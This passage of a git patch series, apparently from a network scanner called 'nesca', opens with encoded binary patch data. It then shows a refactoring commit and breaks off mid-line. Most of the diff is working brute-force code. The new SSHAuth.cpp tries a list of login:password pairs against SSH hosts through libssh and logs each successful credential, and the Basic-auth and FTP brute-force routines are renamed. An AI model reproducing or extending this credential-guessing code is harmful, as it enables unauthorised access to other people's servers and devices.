z_%IdAtLz3jaZF0uRL^I~hxkKQ-qea7OJ9boWu~v)k~58%?zM~oi@aeBMaa7>l_GB> z6w-`=kdd@B$j1!w4#`1>Zd!fly=*8Nk6M~;n)(U=iL?sagIRCm5=eD<H7znQprMSU z5^+5iwN_~TKJtbVJv}He<c%jR!;4&=0o9@9Lb1`Ub(wk(qK=peME75yz0ffxi=Np6 zOFwnO6f4|VN;!0Y<b6_raiPt{kx8w>adjpLeze1VF5FUArdQGSv`b;-Ada7#V`<Mg z20_zsun0H7ne<AgBZGIwRSG}Wd9v^#`XLR@@P7EPjOZ$c<YfF#d8fW+5#E`9hlQs4 zA&qIqnSTv{opG>a^L=Ug!Suz>KYkGG%)iTkaX02ne~~a$$_q6^;iVhv)U(E)zauRn z?-SoY{Ky&#FYySlZ231^#DCr$X+83+NJd;OTv^oZxB;D;(gL4lKNbRKwO`3%|47J6 zebRn5kK^~@$fRx&zugvPc!*@#VHmy#hr}|(Xrl<9i81e#eN14E<kMymezQY?v|qvx zgUMEYDn$C%2|>PpT=rymnSO3NoMnfD_(a6dvm=9?_Osh*JBwG~Ss>FZ!js!~ZhxHd zbD7E(fBwDj08MZxcgCNV8h&Ou4}J9a;XWLnL#YsQXU$2LA2Cb~=UYyO9`5^?7U1Ab ziMFu=boIvcHH-`6v(rvqXk!!JrL%G2#PIS2xrepNgn?G}csUeLb~xz(0DdGRsa`Nx z1dn)6q$@LD`LRtla>M>?<i>zA8@VxD%|`BFy+~Th{+M5u0C;FI46OiEkaHqlS*{iV zceb${80%uQ;yi}QCcgvt8OS+B#4Ou^eJ7DWBIH{g@>n}dqq7t@d_p8^ywq!kw78K9 z=~|gLluVMgbb&vhHMK09Q{SR#3p9V(`MnJ>Lyz|*+l*AA&kPwU89)nL2~!Kj^i)b~ z49x9E;1+**uchIsiY=+xgPCDyoW~@LR%FUzIMo-j{&NHTY=AU8)wfK$K+~260=*Yt zcs0y)w$+i)7S;C|DUHT4x{8MkZ7zM<s7xBMaNfN3xr?+#^>bS0YKSjT*4q&`jYu?w z5x%sj5o5e)>qXt|J`Mkrb(r_*$q4v+@f7M)l`ahgPntC3gceREv~E2f#wb<OLIb*{ zV>lb-zEZZ8T%@>m-6hH!reJK6c(riLv7y9|VS<@yvO`|#neM=)9v&w#IrY?~VY}r# z2fWnZE^sL?^)GecQoruNrJjVqxsN*=hs1f@$>hYH`6Kl^^GE7&=8v>fw&$!rGhIAh zW#V*=$07B|_JMH@BXJcx6XSeHyoNy#%knh8#2I5kbCR{SWnA{%EXVyi6YJ*wRZ@{) dWV{m3ypNf!{3Q-~MYxj=T()nkGw{q_;U6h8m*fBd diff --git a/vercheckerthread.o b/vercheckerthread.o deleted file mode 100644 index 84ae04477259f12937b159e2c570ddb24a6bf275..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7656 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 From 33cd0b4b7da74bb481ae81ef29dc0dfacf98440d Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 16:54:40 +0300 Subject: [PATCH 52/66] Minor refactorings --- BasicAuth.cpp | 6 +- BasicAuth.h | 4 +- Connector.cpp | 143 +-------------------------- Connector.h | 1 + FTPAuth.cpp | 6 +- FTPAuth.h | 4 +- SSHAuth.cpp | 133 +++++++++++++++++++++++++ SSHAuth.h | 16 +++ connector_old.cpp | 242 ---------------------------------------------- finder.cpp | 17 ++-- nesca.pro | 6 +- sshpass.txt | 3 +- 12 files changed, 178 insertions(+), 403 deletions(-) create mode 100644 SSHAuth.cpp create mode 100644 SSHAuth.h diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 59b099f..5c368ed 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -29,7 +29,7 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) { return false; } -lopaStr BA::_BABrute(const char *ip, const int port) { +lopaStr BA::BABrute(const char *ip, const int port) { string buffer; string lpString; lopaStr lps; @@ -65,11 +65,11 @@ lopaStr BA::_BABrute(const char *ip, const int port) { return lps; } -lopaStr BA::_BALobby(const char *ip, const int port) { +lopaStr BA::BALobby(const char *ip, const int port) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); - const lopaStr &lps = _BABrute(ip, port); + const lopaStr &lps = BABrute(ip, port); BruteUtils::BConDec(); return lps; diff --git a/BasicAuth.h b/BasicAuth.h index d08ec61..b10eaa5 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -10,10 +10,10 @@ class BA { private: static bool checkOutput(const string *buffer, const char *ip, const int port); - static lopaStr _BABrute(const char *ip, const int port); + static lopaStr BABrute(const char *ip, const int port); public: - static lopaStr _BALobby(const char *ip, const int port); + static lopaStr BALobby(const char *ip, const int port); }; #endif // BASICAUTH_H diff --git a/Connector.cpp b/Connector.cpp index 6781a23..7b23bb5 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -85,142 +85,6 @@ int _pingMyTarget(const char *ip) } #endif -int _sshConnect(char *user, char *pass, const char *host, int port) -{ - char hostStr[128] = {0}; - ZeroMemory(hostStr, sizeof(hostStr)); - strcpy(hostStr, user); - strcat(hostStr, "@"); - strcat(hostStr, host); - - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) - { - ssh_free(my_ssh_session); - return -1; - }; - - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); - - int rc = ssh_connect(my_ssh_session); - - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; - } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++ssh; - return 0; -} - -char _get_ssh_banner(const char *ip, int port) -{ - char recvBuff[256] = {0}; - std::string buffer; - Connector::nConnect(ip, port, &buffer); - - int sz = buffer.size(); - - if(sz != 0) - { - strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256); - }; - - return *recvBuff; -} - -int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner) -{ - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); - res = _sshConnect(user, pass, host, port); - if(res == 0) - { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - buffer->append(userPass); - buffer->append("@"); - buffer->append(host); - buffer->append("|+|"); - buffer->append(banner); - return 0; - }; - return res; -} - -int _EstablishSSHConnection(const char* host, int port, std::string *buffer, const char *banner) -{ - char login[32] = {0}; - char pass[32] = {0}; - char temp[64] = {0}; - BruteUtils::BConInc(); - int sz = 0; - char *ptr1 = 0; - int res = -1; - - for(int i = 0; i < MaxSSHPass; ++i) - { - if(!globalScanFlag) break; - strcpy(temp, sshlpLst[i]); - ptr1 = strstr(temp, ":"); - sz = ptr1 - temp; - strncpy(login, temp, sz); - strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); - ZeroMemory(login, sizeof(login)); - ZeroMemory(pass, sizeof(pass)); - ZeroMemory(temp, sizeof(temp)); - - if(res == 0) - { - if(i == 0) return -2; //Failhit - BruteUtils::BConDec(); - return 1; - } - else if(res == -2) - { - BruteUtils::BConDec(); - return -2; - }; - - Sleep(500); - }; - BruteUtils::BConDec(); - return -1; -} - -QString strIP; -QString strPort; -int Connector::_SSHLobby(std::string ip, int port, std::string *buffer) -{ - const char &banner = _get_ssh_banner(ip.c_str(), port); - if(strlen(&banner) > 0) - { - return _EstablishSSHConnection(ip.c_str(), port, buffer, &banner); - }; - return -1; -} - - struct data { char trace_ascii; /* 1 or 0 */ }; @@ -299,8 +163,9 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); } - if (lpString != NULL) { - curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); + if (lpString != NULL) { + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); + curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L); curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L); curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); }; @@ -375,7 +240,7 @@ int Connector::_ConnectToPort(string ip, int port, char *hl) std::string buffer; int size = 0; - if (port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); + if (port == 22) size = SSHAuth::SSHLobby(ip.c_str(), port, &buffer); else size = nConnect(ip.c_str(), port, &buffer); if(size > 0) diff --git a/Connector.h b/Connector.h index 132e4cb..2ea66fd 100644 --- a/Connector.h +++ b/Connector.h @@ -4,6 +4,7 @@ #include "externData.h" #include "Utils.h" #include "BruteUtils.h" +#include "SSHAuth.h" #include "STh.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) diff --git a/FTPAuth.cpp b/FTPAuth.cpp index c14cc0d..917a04c 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -9,7 +9,7 @@ bool FTPA::checkOutput(const string *buffer) { return false; } -lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { +lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { string buffer; string lpString; lopaStr lps; @@ -54,11 +54,11 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { return lps; } -lopaStr FTPA::_FTPLobby(const char *ip, const int port, PathStr *ps) { +lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); - const lopaStr &lps = _FTPBrute(ip, port, ps); + const lopaStr &lps = FTPBrute(ip, port, ps); BruteUtils::BConDec(); return lps; diff --git a/FTPAuth.h b/FTPAuth.h index f3abe15..f35e7d0 100644 --- a/FTPAuth.h +++ b/FTPAuth.h @@ -10,10 +10,10 @@ class FTPA { private: static bool checkOutput(const string *buffer); - static lopaStr _FTPBrute(const char *ip, const int port, PathStr *ps); + static lopaStr FTPBrute(const char *ip, const int port, PathStr *ps); public: - static lopaStr _FTPLobby(const char *ip, const int port, PathStr *ps); + static lopaStr FTPLobby(const char *ip, const int port, PathStr *ps); }; #endif // FTPAUTH_H diff --git a/SSHAuth.cpp b/SSHAuth.cpp new file mode 100644 index 0000000..82b3f63 --- /dev/null +++ b/SSHAuth.cpp @@ -0,0 +1,133 @@ +#include "SSHAuth.h" + +int _sshConnect(char *user, char *pass, const char *host, int port) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, sizeof(hostStr)); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +} + +char _get_ssh_banner(const char *ip, int port) +{ + char recvBuff[256] = {0}; + std::string buffer; + Connector::nConnect(ip, port, &buffer); + + int sz = buffer.size(); + + if(sz != 0) + { + strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256); + }; + + return *recvBuff; +} + +int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + buffer->append(userPass); + buffer->append("@"); + buffer->append(host); + buffer->append("|+|"); + buffer->append(banner); + return 0; + }; + return res; +} + +int SSHBrute(const char* host, int port, std::string *buffer, const char *banner) +{ + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + BruteUtils::BConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + + for(int i = 0; i < MaxSSHPass; ++i) + { + if(!globalScanFlag) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); + ZeroMemory(login, sizeof(login)); + ZeroMemory(pass, sizeof(pass)); + ZeroMemory(temp, sizeof(temp)); + + if(res == 0) + { + if(i == 0) return -2; //Failhit + BruteUtils::BConDec(); + return 1; + } + else if(res == -2) + { + BruteUtils::BConDec(); + return -2; + }; + + Sleep(500); + }; + BruteUtils::BConDec(); + return -1; +} + +QString strIP; +QString strPort; +int SSHAuth::SSHLobby(const char *ip, int port, std::string *buffer) +{ + const char &banner = _get_ssh_banner(ip, port); + if(strlen(&banner) > 0) + { + return SSHBrute(ip, port, buffer, &banner); + }; + return -1; +} diff --git a/SSHAuth.h b/SSHAuth.h new file mode 100644 index 0000000..e454a24 --- /dev/null +++ b/SSHAuth.h @@ -0,0 +1,16 @@ +#ifndef SSHAUTH_H +#define SSHAUTH_H + +#include "Connector.h" +#include "BruteUtils.h" +#include "Utils.h" +#include "externData.h" +#include "mainResources.h" + +class SSHAuth { +public: + static int SSHLobby(const char *ip, + const int port, + std::string *buffer); +}; +#endif // SSHAUTH_H diff --git a/connector_old.cpp b/connector_old.cpp index 4bd7e60..d849b33 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -9,27 +9,9 @@ #include "Utils.h" #include "BruteUtils.h" -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -#include <iphlpapi.h> -#include <icmpapi.h> -#pragma comment(lib, "iphlpapi.lib") -#endif int gMaxBrutingThreads = 200; fd_set write_fs; - -int _countFTPDirectories(char *recvBuff){ - if(strcmp(recvBuff, "dummy\r\n") == 0) return 0; - int dirCounter = 0; - if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n"); - char *dirPtr = strstr(recvBuff, "\n"); - while(dirPtr != NULL){ - ++dirCounter; - dirPtr = strstr(dirPtr + 1, "\n"); - }; - return dirCounter; -} - bool debugWriteWait = false; void _DebugWriteHTMLToFile(char *request, char *buff) { @@ -110,230 +92,6 @@ std::string toLowerStr(const char *str) } else return ""; } -int OpenConnection(SOCKET *sock, const char *hostname, int port) -{ - struct hostent *host; - struct sockaddr_in addr; - if(strlen(hostname) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - if ( (host = gethostbyname(hostname)) == NULL ) - { - ++offlines; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad IP."); - return -1; - }; - *sock = socket(PF_INET, SOCK_STREAM, 0); - ZeroMemory(&addr, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons(port); - addr.sin_addr.s_addr = *(long*)(host->h_addr); - if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) - { - ++offlines; - CSSOCKET(*sock); - return -1; - }; - return 0; -} - -//void _baSSLWorker(char *ip, char *request, char *rvBuff) -//{ -// const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ -// SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - -// if(ctx != NULL) -// { -// SOCKET sock; -// SSL_CTX_set_timeout(ctx, gTimeOut); -// int result = OpenConnection(&sock, ip, 443); -// if(result >= 0) -// { -// SSL *ssl = NULL; -// ssl = SSL_new(ctx); /* create new SSL connection state */ -// if(ssl != NULL) -// { -// SSL_set_fd(ssl, sock); /* attach the socket descriptor */ -// if(SSL_connect(ssl)) -// { -// SSL_write(ssl, request, strlen(request)); -// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - -// char tempBuff[128] = {0}; -// int x = 1; -// int xx = 0; - -// ZeroMemory(rvBuff, sizeof(*rvBuff)); -// while(xx < 512) -// { -// x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); -// if(x <= 0) break; -// Activity += x; -// xx += x; -// strncat(rvBuff, tempBuff, x); -// ZeroMemory(tempBuff, sizeof(tempBuff)); -// }; - -// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); -// if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); -// }; -// SSL_shutdown(ssl); -// SSL_free(ssl); -// CSSOCKET(sock); -// SSL_CTX_free(ctx); /* release context */ -// return; -// }; -// }; -// CSSOCKET(sock); -// SSL_CTX_free(ctx); /* release context */ -// } -// else -// { -// char buff1[512] = {0}; -// char buff2[512] = {0}; - -// ERR_error_string(ERR_peek_error(), buff1); -// ERR_error_string(ERR_peek_last_error(), buff2); -// stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); -// }; -//} - -char *_getAttributeValue(char *str, char *val, char *ip, int port) -{ - char res[1024] = {0}; - char *ptrStart = NULL; - char *ptrS1End = NULL; - char *ptrS2End = NULL; - - ptrStart = strstri(str, val); - if(ptrStart != NULL) - { - if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; - ptrS1End = _findFirst(ptrStart, "\""); - if(ptrS1End != NULL) - { - ptrS2End = _findFirst(ptrS1End + 1, "\""); - if(ptrS2End != NULL) - { - int sz = ptrS2End - ptrS1End - 1; - - if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); - else return ""; - - return res; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#919121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - return ""; - }; -} - -#define HASHLEN 16 -typedef char HASH[HASHLEN]; -#define HASHHEXLEN 32 -typedef char HASHHEX[HASHHEXLEN+1]; -#define IN -#define OUT -void CvtHex( - IN HASH Bin, - OUT HASHHEX Hex - ) -{ - unsigned short i; - unsigned char j; - - for (i = 0; i < HASHLEN; i++) { - j = (Bin[i] >> 4) & 0xf; - if (j <= 9) - Hex[i*2] = (j + '0'); - else - Hex[i*2] = (j + 'a' - 10); - j = Bin[i] & 0xf; - if (j <= 9) - Hex[i*2+1] = (j + '0'); - else - Hex[i*2+1] = (j + 'a' - 10); - }; - Hex[HASHHEXLEN] = '\0'; -}; -char *_makeDigestResponse( - char *login, - char *realm, - char *pass, - char *path, - char *nonce, - char *pszNonceCount, - char *pszCNonce, - char *pszQop - ) -{ - char HA1[MD5_DIGEST_LENGTH]; - char HA2[MD5_DIGEST_LENGTH]; - char HA1Data[512] = {0}; - char HA2Data[512] = {0}; - - strcpy(HA1Data, login); - strcat(HA1Data, ":"); - strcat(HA1Data, realm); - strcat(HA1Data, ":"); - strcat(HA1Data, pass); - - strcpy(HA2Data, "GET:"); - strcat(HA2Data, path); - - MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1); - MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2); - - char responseData[512] = {0}; - char *HA1MD5 = new char[64]; - char *HA2MD5 = new char[64]; - ZeroMemory(HA1MD5, 64); - ZeroMemory(HA2MD5, 64); - - CvtHex(HA1, HA1MD5); - strcpy(responseData, HA1MD5); - strcat(responseData, ":"); - strcat(responseData, nonce); - strcat(responseData, ":"); - if (*pszQop != NULL) { - strcat(responseData, pszNonceCount); - strcat(responseData, ":"); - strcat(responseData, pszCNonce); - strcat(responseData, ":"); - strcat(responseData, pszQop); - strcat(responseData, ":"); - }; - CvtHex(HA2, HA2MD5); - strcat(responseData, HA2MD5); - delete []HA1MD5; - delete []HA2MD5; - - char response[MD5_DIGEST_LENGTH]; - MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response); - char responseMD5[64] = {0}; - CvtHex(response, responseMD5); - return (char*)responseMD5; -} - int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { char recvBuff[256] = {0}; diff --git a/finder.cpp b/finder.cpp index 620bbd8..221658f 100644 --- a/finder.cpp +++ b/finder.cpp @@ -6,6 +6,7 @@ #include "Connector.h" #include "BasicAuth.h" #include 